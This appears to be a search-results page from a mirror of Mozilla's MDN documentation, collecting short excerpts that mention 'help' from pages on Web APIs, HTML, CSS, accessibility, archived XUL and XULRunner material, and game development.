... getmostrecentbookmarkforuri(auri) getmostrecentfolderforfeeduri() getmostrecentfolderforfeeduri(auri) geturlsforcontainernode() geturlsforcontainernode(anode) opencontainernodeintabs() opencontainerintabs(anode, aevent) openurinodesintabs() openurinodesintabs(anodes, aevent) createmenuitemfornode() helper for the toolbar and menu views.

nsIAccessibleRole
role_tooltip 13 represents a tooltip that provides helpful hints.
... role_helpballoon 31 displays a help topic in the form of a tooltip or help balloon.
... role_character 32 represents a cartoon-like graphic object, such as microsoft office assistant, which is displayed to provide help to users of an application.

nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); boolean querycommandstate(in domstring commandid); boolean querycommandsupported(in domstring...
... execcommandshowhelp() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) this method never did anything but throw an exception, and was removed entirely in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11).
... boolean execcommandshowhelp( in domstring commandid ); parameters commandid the name of the command.

Using the clipboard
the component @mozilla.org/widget/clipboardhelper;1 can be used to copy text to the clipboard.
... this component implements the interface nsiclipboardhelper, which has a function copystring that can be used to copy a string.
... const gclipboardhelper = components.classes["@mozilla.org/widget/clipboardhelper;1"] .getservice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please."); this example will first create a clipboard helper and then copy a short string to the clipboard.

nsCOMPtr versus RefPtr
do_queryinterface versus do_queryobject the do_queryinterface helper is only available when assigning to nscomptr.
...it differs from do_queryinterface as follows: do_queryobject inherits from nscomptr_helper, so it can be assigned into both nscomptr and refptr.
... the downside of this inheritance is that do_queryobject requires an extra virtual call to operator() in the helper method.

Thunderbird extensions
the following documentation provides help for creating extensions for the thunderbird email client.
... need personalized help?
...these links to help through this journey.

Zombie compartments
running the garbage collector, with the corresponding about:memory button will help.
... if you can identify, by disabling them one at a time, a single add-on that is responsible, that is extremely helpful.
... attaching the full contents of about:memory?verbose is very helpful (and you can just cut and paste the page contents, there's no need to take a screenshot).

Paint Flashing Tool - Firefox Developer Tools
with the help of this tool you can figure out whether your website is causing the browser to repaint more than it needs to.
...that's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to.
...so testing your website with the paint flashing tool helps ensure that it's still performing optimally.

Firefox Developer Tools
note: if you are just getting started with web development and using developer tools, our learning docs will help you — see getting started with the web and what are browser developer tools?
... contribute if you want to help improve the developer tools, these resources will get you started.
... bugs.firefox-dev.tools a tool helping to find bugs to work on.

Using the Frame Timing API - Web APIs
this data can be used to help identify areas that take too long to provide a good user experience.
... first, perhaps using the tools will save you is a bit too strong but performance tools can certainly help identify code that is not conformant to some expected time threshold.
... the performance tool's flame chart and call tree tabs provide data to help analyze the site's javascript usage.

Key Values - Web APIs
vk_oem_finish (0xf1) "help" the help key.
... opens or toggles the display of help information.
... vk_help (0x2f) appcommand_help kvk_help (0x72) gdk_key_help (0xff6a) qt::key_help (0x01000058) keycode_help (259) "pause" the pause key.

Using the Resource Timing API - Web APIs
resource timing properties an application developer can use the property values to calculate the length of time a phase takes and that information can help diagnose performance issues.
...this timing data provides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks.
...to help the developer manage the buffer size, resource timing defines two methods that extend the performance interface.

Inputs and input sources - Web APIs
handedness can be used for various things, including selecting an appropriate mesh to use to represent the controller in the view and to help present it in the correct hand if drawing hands on the display.
... managing input sources when multiple input sources are available, you need to be able to obtain information about each one, including its position and orientation, its targeting ray (if applicable to your needs), and details that can help you decide how to present the input source visually, if at all.
...but if it does, these strategies may help.

Web audio spatialization basics - Web APIs
the rotation is a circle and we need math.sin and math.cos to help us draw that circle.
...ate, which we'll convert into a radian range value for use in math.sin and math.cos later, when we want to figure out the new coordinates when we're rotating our boombox: // set up rotation constants const rotationrate = 60; // bigger number equals slower sound rotation const q = math.pi/rotationrate; //rotation increment in radians we can also use this to work out degrees rotated, which will help with the css transforms we will have to create (note we need both an x and y-axis for the css transforms): // get degrees for css const degreesx = (q * 180)/math.pi; const degreesy = (q * 180)/math.pi; let's take a look at our left rotation as an example.
...ngle increment z = panner.orientationz.value*math.cos(q) - panner.orientationx.value*math.sin(q); x = panner.orientationz.value*math.sin(q) + panner.orientationx.value*math.cos(q); y = panner.orientationy.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; this is a little confusing, but what we're doing is using sin and cos to help us work out the circular motion the coordinates need for the rotation of the boombox.

Window.open() - Web APIs
an offset is universally implemented by browser manufacturers (it is 29 pixels in ie6 sp2 with the default theme) and its purpose is to help users to notice new windows opening.
... always identify links that will create (or will re-use) a new, secondary window identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.
...he focus of the system to a new frame or window, then the nice thing to do is to tell the user that something like that will happen." world wide web consortium accessibility initiative regarding popups "use link titles to provide users with a preview of where each link will take them, before they have clicked on it." ten good deeds in web design, jakob nielsen, october 1999 using link titles to help users predict where they are going, jakob nielsen, january 1998 example "new window" icons & cursors always use the target attribute if javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to i...

Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
...use wcag 2.1 to help more people with disabilities and reduce the future legal risk for web site owners.
...r-word) 17 new success criteria at the a / aa / aaa levels primarily addressing user needs in these areas: mobile accessibility low vision cognitive read more about wcag 2.1: deque: wcag 2.1: what is next for accessibility guidelines tpg: web content accessibility guidelines (wcag) 2.1 legal standing this guide is intended to provide practical information to help you build better, more accessible websites.

Accessibility
wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... other documentation understanding the web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 (wcag 2.0 or just wcag, for the purposes of this writing).
...understand the types of content that can be problematic, and find tools and strategies to help you avoid them.

Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
this can be helpful, if you have a document order that reflects the order in which items sit on the grid you may not need to write css rules to place absolutely everything.
...n.realityripple.com/samples/62/643f590dbc.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> </ul> auto-placement can also help you lay out interface items which do have logical order.
...this will help to make future versions of the specification better.

Tools - CSS: Cascading Style Sheets
css offers a number of powerful features that can be tricky to use, or have a number of parameters, so that it's helpful to be able to visualize them while you work on them.
... this page offers links to a number of useful tools that will help you build the css to style your content using these features.
... other tools css animation - stylie to check the device display information (helpful in responsive web design) - mydevice.io css menus - cssmenumaker.com a mighty, modern css linter that helps you enforce consistent conventions and avoid errors in your stylesheets - stylelint ...

Date and time formats used in HTML - HTML: Hypertext Markup Language
] 1977-04-01t14:00:30 30 seconds after 2:00 pm on april 1, 1977 [details] 1901-01-01t00:00z midnight utc on january 1, 1901 [details] 1901-01-01t00:00:01-04:00 1 second past midnight eastern standard time (est) on january 1, 1901 [details] basics before looking at the various formats of date and time related strings used by html elements, it is helpful to understand a few fundamental facts about the way they're defined.
...leap years help to adjust the calendar to keep it synchronized with the actual position of the planet in its orbit.
... the adjustments to the algorithm (taking a leap year when the year can be divided by 400, and skipping leap years when the year is divisible by 100) help to bring the average even closer to the correct number of days (365.2425 days).

<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
there are, though, a few cases where it's helpful to do so: when an abbreviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title.
...ge used to create the semantics and structure of a web page.</p> <p>a <dfn id="spec">specification</dfn> (<abbr title="specification">spec</abbr>) is a document that outlines in detail how a technology or api is intended to function and how it is accessed.</p> result accessibility concerns spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon.
... example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.

<input type="number"> - HTML: Hypertext Markup Language
using number inputs <input type="number"> elements can help simplify your work when building the user interface and logic for entering numbers into a form.
... mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.

<input type="password"> - HTML: Hypertext Markup Language
specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
... use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users.
...obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern.

<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
as a general rule, you should avoid using them unless it can't be helped.
...having the prompt part of the activation area for the input is helpful for people with motor control conditions.
...this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers.

HTML elements reference - HTML: Hypertext Markup Language
they are grouped by function to help you find what you have in mind easily.
...this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page.
... interactive elements html offers a selection of elements which help to create interactive user interface objects.

HTTP Index - HTTP
16 content security policy (csp) csp, content security policy, reference, security content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...this helps guard against cross-site scripting attacks (xss).
...additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").

HTTP
mozilla web security guidelines a collection of tips to help operational teams with creating secure web applications.
... tools & resources helpful tools and resources for understanding and debugging http.
... firefox developer tools network monitor mozilla observatory a project designed to help developers, system administrators, and security professionals configure their sites safely and securely.

JavaScript
introducing javascript objects the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.
... tools & resources helpful tools for writing and debugging your javascript code.
...by adding togetherjs to your site, your users can help each other out on a website in real-time!

MathML
here you'll find links to documentation, examples, and tools to help you work with this powerful technology.
... mathml examples mathml samples and examples to help you understand how it works.
... getting help from the community view mozilla forums...

Progressive web app structure - Progressive web apps (PWAs)
for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it.
...with a little help from service workers, streams can greatly improve the way we parse content.
... next up in the next article we will look in more detail at how the app shell and the content are cached for offline use with the help from the service worker.

Progressive loading - Progressive web apps (PWAs)
previous overview: progressive web apps in previous articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
... conclusion less files to load initially, smaller files split into modules, use of placeholders, and loading more content on demand — this will help achieve faster initial load times, which brings benefits to the app creator and offers a smoother experience to the user.
...we also explained push with help from the service worker cookbook.

The building blocks of responsive design - Progressive web apps (PWAs)
note: you can find the snapshot app on github; check out the code and help improve it.
...but this doesn't help us responsible web developers, who have written small screen layouts into our css using media queries and want mobile devices to display those!
...some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to programmatically generate graphical effects where possible, rather than relying on image files.

Web security
the web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft.
... content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (xss) and data injection attacks.
...it helps isolate potentially malicious documents, reducing possible attack vectors.

Compiling from Rust to WebAssembly - WebAssembly
rustup installs rustc, the rust compiler, as well as cargo, rust's package manager, rust-std, rust's standard libraries, and some helpful docs — rust-docs.
...this helps compile the code to webassembly, as well as produce the right packaging for npm.
... there's lots of exciting work going on in this space; if you'd like to help make it even better, check out the rust webassembly working group.

2015 MDN Fellowship Program - Archive of obsolete content
activities and deliverables help us develop a curriculum on mdn for teaching developers new to graphics programming the webgl apis.
... activities and deliverables help us develop a curriculum on mdn for teaching developers to master performance tooling and to develop web apps with performance as a feature.

page-worker - Archive of obsolete content
see working with content scripts for help on setting this property.
...see working with events for help with events.

/loader - Archive of obsolete content
they are low level helpers and should be used only during loader bootstrap.
...this function is helpful for combining default and passed properties: override({ a: 1, b: 1 }, { b: 2, c: 2 }) // => { a: 1, b: 2, c: 2 } descriptor() this utility function takes an object and as an argument and returns property descriptor map for its own properties.

lang/functional - Archive of obsolete content
functional helper methods.
... usage the lang/functional module provides functional helper methods.

test/utils - Archive of obsolete content
helper methods used in the commonjs unit testing suite.
... usage before and after helper functions before() and after() are available for running a function before or after each test in a suite.

cfx - Archive of obsolete content
cfx usage is: cfx [options] command [command-specific options] "options" are global options applicable to the tool itself or to all commands (for example --help).
... cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "command-specific options" are documented alongside the commands.

jpm-mobile - Archive of obsolete content
jpm usage is: jpm-mobile [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already.
... if you don't see this, ask for help.

jpm - Archive of obsolete content
jpm usage is: jpm [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory installation jpm is distributed with the node package manager npm.
... if you do not see this, ask for help.

Communication between HTML and your extension - Archive of obsolete content
with a lot of help from irc://irc.mozilla.org#js and irc://irc.mozilla.org#extdev i was able to get it running pretty well, but i still would rather have the client less responsible for pinging the extension to "look" for what is on the page.
...what i ended up with some helpful information on the irc channel led me to believe that a custom event might help.

Extension Versioning, Update and Compatibility - Archive of obsolete content
unfortunately, i've encounter cases where adding the mime type to the server didnt help either.
... debugging and solving problems the update mechanism logs information to the console, and display various information which can help you to find problem.

Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
this should help you understand the initwithpath specification.
...i hope you’ll find that this chapter helps make you a more effective extension developer.

Chapter 5: Let's build a Firefox extension - Archive of obsolete content
you can use it to help debug firefox extensions as well as to inspect and learn how the firefox ui (chrome) is constructed.
...if you keep in mind the following three points at the very least, the next section, developing a simple extension, should help flesh out your understanding.

Introduction - Archive of obsolete content
this will help you understand the culture that surrounds the mozilla community.
...you can read and copy the user agent string of any firefox window, choosing "help > troubleshooting information" from the main menu.

The Essentials of an Extension - Archive of obsolete content
we'll skip some code that is covered in the locale section, moving on to the most important part of the content: <menubar id="main-menubar"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="helpmenu"> <menupopup> <menuitem id="xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </menubar> <vbox id="appmenusecondarypane"> <menu id="xulschoolhello-hello-menu-2" label="&xulschoolhello.hello.label;" ...
...in our case, we can't use the letter "h" as an accesskey in the main menu item, because it would be the same as the access key in the help menu.

Tabbed browser - Archive of obsolete content
here you should find a set of useful code snippets to help you work with firefox's tabbed browser.
... reusing by url/uri a common feature found in many extensions is to point the user to chrome:// uris in a browser window (for example, help or about information) or external (on-line http(s)://) html documents when the user clicks an extension's button or link.

Source code directories overview - Archive of obsolete content
leaky can help detect memory leaks and xpcom reference counting problems.
...it is generic and can hand the content off to internal components (like messenger), to plug-ins or helper apps.

Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
... bugzilla the mozilla bug tracking webtool to help you track progress in fixing bugs and implementing features that affect your applications.

New Skin Notes - Archive of obsolete content
this is currently just a preview, but we would appreciate help with testing.
...--dria how about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well.

Running Tamarin performance tests - Archive of obsolete content
performance test options there are a variety of options available with runtests.py - here is the help text followed by explanations for some options: $ ./runtests.py -h usage: runtests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus command to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of ...
...shell_toplevel.abc -x --exclude comma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild the tests only - do not run against vm --showtimes shows the time for each test --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) ...

Video presentations - Archive of obsolete content
mozilla is actively working to produce video presentations that can help you learn how the mozilla codebase works and how to take advantage of its technology in your own applications and extensions.
... this article is a jumping-off point to help you find those presentations.

Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial case for web standards a list apart, for people who make websites mozilla technology evangelism...
..., get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at this time.

Introduction to XUL - Archive of obsolete content
xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
... </window> <window id="help"> ...

List of commands - Archive of obsolete content
folder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true...
... cmd_viewnavbar cmd_viewpersonaltoolbar cmd_viewtaskbar cmd_zoomwindow thanks for help of joe.user0 in compiling: http://readlist.com/lists/mozilla.or...l/3/15261.html .

Tooltips - Archive of obsolete content
tooltips a tooltip is used to provide descriptive help to the user about the control that the mouse is over.
... <tooltip id="iconic"> <image src="help.png"/> <label value="save a file to a remote site"/> </tooltip> <button label="save" tooltip="iconic"/> in this example, a tooltip with the id 'iconic' contains an image and a label.

Toolbars - Archive of obsolete content
documentation xul school: adding toolbars and toolbar buttons a helpful tutorial to creating toolbars and toolbar buttons.
... code snippets: toolbar code snippets that are helpful when working with toolbars.

XUL Accesskey FAQ and Policies - Archive of obsolete content
for example, in the manage bookmarks dialog, don't use f, e, v, t or h (file, edit, view, tasks, help).
... help wanted: it would be useful to have an automated tool to check for duplicate and missing accesskeys in xul files.

XUL Changes for Firefox 1.5 - Archive of obsolete content
for instance <button icon="help"> will create a button with a help icon.
... this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.

XUL Questions and Answers - Archive of obsolete content
creating mozsearch plugins contains more help information about creating mozsearch plugin on firefox 2.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.

button - Archive of obsolete content
help a help button for displaying help about the dialog.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.

XUL - Archive of obsolete content
xul tutorial a guided tutorial that will help you get started with xul, originally from xulplanet.
... documentation xul tutorial a guided tutorial that will help you get started with xul, originally from xulplanet.

XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

XULRunner 1.9.1 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

XULRunner 1.9.2 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

XULRunner 1.9 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

XULRunner 2.0 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

Dialogs in XULRunner - Archive of obsolete content
in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel," and "help" for example).
... here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2).

XULRunner FAQ - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.

2006-11-22 - Archive of obsolete content
if anyone has experience with these issues, and is comfortable helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 he stated that he almost had it working a couple of years ago.
... discussions image labelling for blind help machines frank hecker brought up a valid discussion about the problem of getting images tagged for use by screen.

2006-10-06 - Archive of obsolete content
discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project.
... brian king also mentions that documentation on handling message headers on the ui side would be helpful.

2006-11-24 - Archive of obsolete content
joe is asking for help on a possible solution to fix his problem.
... vin is asking for help on how to solve the error.

2006-10-13 - Archive of obsolete content
10; the target release date for rc3 is october 17 new tinderbox and bonsai servers the build team would like help testing out the new tinderbox and bonsai servers.
... firefox feature brainstorming you can help suggest features for firefox 3 here meetings project meeting a project meeting was held on oct.

2006-12-01 - Archive of obsolete content
firefox 1.5.0.9/2.0.0.1 update - we need help!
... jay patael calls for help getting the next update ff 1.5.x and 2.x.

Plugins - Archive of obsolete content
there are also some code generation tools that may be helpful.
... site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature.

Sunbird Theme Tutorial - Archive of obsolete content
sunbird also contains communicator, global, help and mozapps components.
...in your <tt>chrome.manifest</tt> file, add lines like this: skin communicator testing chrome/communicator/ skin global testing chrome/global/ skin help testing chrome/help/ skin mozapps testing chrome/mozapps/ replacing <tt>testing</tt> with your theme's one-word internal name as before.

contents.rdf - Archive of obsolete content
eview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...sion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...

Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
in recent developments we also see the advent of other performant engines for javascript such as v8 from google and squirrelfish for webkit, these engines are raising the bar on performance and help to maintain a competitive environment that will hopefully direct competitive focus on the performance aspect of all the major javascript implementations.
...the sql statement is prepared, executed, and printed with the help of the metadata obtained from the resultset.

Implementation Status - Archive of obsolete content
xforms-revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-previous supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 notification events supported 4.4.1 xforms-insert supported ...
... 297083; 343443; 8.3.4 help supported 8.3.5 hint partial problems with hints in xul-hosted documents and ephemeral message positioning 349667; 8.3.6 alert supported 9.

Requests For Enhancement - Archive of obsolete content
the xforms team looks at votes to help determine which bug is more important for our xforms users.
... custom controls if you have a custom control that you believe will help fulfill the needs of form authors or other custom controls authors, please file it here.

Mozilla XForms User Interface - Archive of obsolete content
help specifies contextual help for the containing form control (see the spec).
... the help will be displayed if the f1 key is pressed while the containing form control has focus.

Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
like the engineers, standardization also helps the qa engineers become highly proficient and capable of shifting from project to project.
...adopting standards will not only help an organizations end users enjoy a cross application experience; organizations will help themselves by giving development and quality assurance engineers the tools to become better equipped and flexible.

Archive of obsolete content
they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko.
...we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.

Index - Game development
as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly.
... 70 2d maze game with device orientation canvas, device orientation api, game development, html5, phaser, vibration api i hope this tutorial will help you dive into 2d game development and inspire you to create awesome games on your own.

Introduction to game development for the Web - Game development
let's look at how the web can help you.
...also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end).

Game monetization - Game development
sometimes it works, but only if the player knows you and feels that it will help you in your situation.
...it worked with the js13kgames competition — every participant got a free t-shirt, and some even gave back a few bucks to help keep it going in years to come.

Audio for Web games - Game development
the htmlmediaelement interface comes with lots of properties to help determine whether a track is in a state to be playable.
...there's a tutorial here to help understand the pannernode in better detail.

Unconventional controls - Game development
previous overview: control mechanisms having different control mechanisms in your game helps reach broader audiences.
... we will need a few helper variables for our code to work — one for the purpose of calculating the degrees from radians, two for holding the horizontal and vertical amount of degrees our hand is leaning above the controller, one for the threshold of that lean, and one for the state of our hand's grab status.

Square tilemaps implementation: Static maps - Game development
gettile(): a helper method that gets the tile index in a certain position.
...in these examples, empty tiles will be represented by index 0, so we will shift the indices of the atlases by one (and thus the first tile of the atlas will be assigned index 1, the second index 2, etc.) the gettile() helper method returns the tile contained at the specified column and row.

Randomizing gameplay - Game development
it's a basic intro scratching the surface of the countless helpful methods that phaser provides.
... be sure to check the ever growing list of examples and the official documentation, and visit the html5 gamedevs forums if you ever need any help.

2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states.
...frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff.

Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
advantages of data abstraction helps the user to avoid writing low level code.
... helps to increase security of an application or program as only important details are provided to the user.

Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
this type of navigation, if done correctly, helps users know where they are in a site and how they got there.
... they can also help a user get back to where they were before and can reduce the number of clicks needed to get to a higher-level page.

Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
example this example will help you understand that primitive values are immutable.
... another example [ step-by-step ] the following example will help you go through how javascript deals with primitives.

Site map - MDN Web Docs Glossary: Definitions of Web-related terms
structured listings of a site's page help with search engine optimization, providing a link for web crawlers such as search engines to follow.
... site maps also help users with site navigation by providing an overview of a site's content in a single glance.

Thread - MDN Web Docs Glossary: Definitions of Web-related terms
overall it can be observed these threads within our operating system are extremely helpful.
... they help minimise the context switching time, enables more efficient communication and allows further use of the multiprocessor architecture.

Accessibility - Learn web development
to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
...wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.

Grids - Learn web development
they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites.
...sometimes it is helpful to be able to ask grid to create as many columns as will fit into the container.

Introduction to CSS layout - Learn web development
the rest of this guide covers other layout methods, which are less important for the main layout structures of your page but can still help you achieve specific tasks.
...understanding positioning also helps in understanding normal flow, and what it is to move an item out of normal flow.

Beginner's guide to media queries - Learn web development
testing for orientation can help you to create a layout which is optimised for devices in portrait mode.
... using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen.

Responsive design - Learn web development
